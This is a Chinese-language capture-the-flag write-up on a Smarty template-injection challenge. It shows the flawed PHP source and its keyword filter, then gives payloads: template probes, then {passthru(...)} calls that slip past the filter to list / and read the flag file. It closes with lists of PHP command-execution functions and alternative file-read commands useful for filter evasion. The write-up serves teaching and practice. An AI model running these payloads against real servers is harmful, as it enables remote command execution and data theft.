题目
打开靶场界面是这样的
解题步骤
看不懂,翻译过来的意思是 传递一个参数,可能标志文件的文件名是随机的,试着随便传一个参数id
页面显示出了网页源码
<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php'); //打印输出文件代码
foreach ($_GET AS $key => $value) //遍历数组
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){ //执行匹配正则表达式
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);//把字符串当做代码执行
}
}
}
?>
这里初步推测是Smarty模板注入,url中写入id={7*7}
命令执行,在url中再次写入id=a{comment}b(comment是由星号包裹的)
这里显示它将星号中间的字符串注释掉了,确定它是smarty模板注入,因为从源码中发现从源码中发现/system|readfile|gz|exec|eval|cat|assert|file|fgets/i 这些函数都被过滤掉了,这里使用passthru函数找到flag文件,并读取flag文件内容
在url中写入/?id={passthru(“ls /”)} (目的是查看当前目录下有什么)
查看一下_5330(不是系统默认的文件夹,有可能flag就在里面)
/?id={{passthru(“more /_5330”)}}
补充说明
1.如何确定SSTI对应的模板
注明,绿色箭头是命令执行成功后的步骤,红色箭头是执行失败进行的步骤。
这里的a{comment}b执行成功之后的结果是将comment注释掉,输出ab
2.php命令执行函数有
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_terminate — 杀除由 proc_open 打开的进程
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出
scandir 列出指定路径中的文件和目录
eval — 把字符串作为PHP代码执行
assert --函数直接将传入的参数当成PHP代码执行
linux查看文件的命令
cat tac more less head tail nl static-sh paste od bzmore bzless
php文件读取函数
printr() fread() fgets() vardump()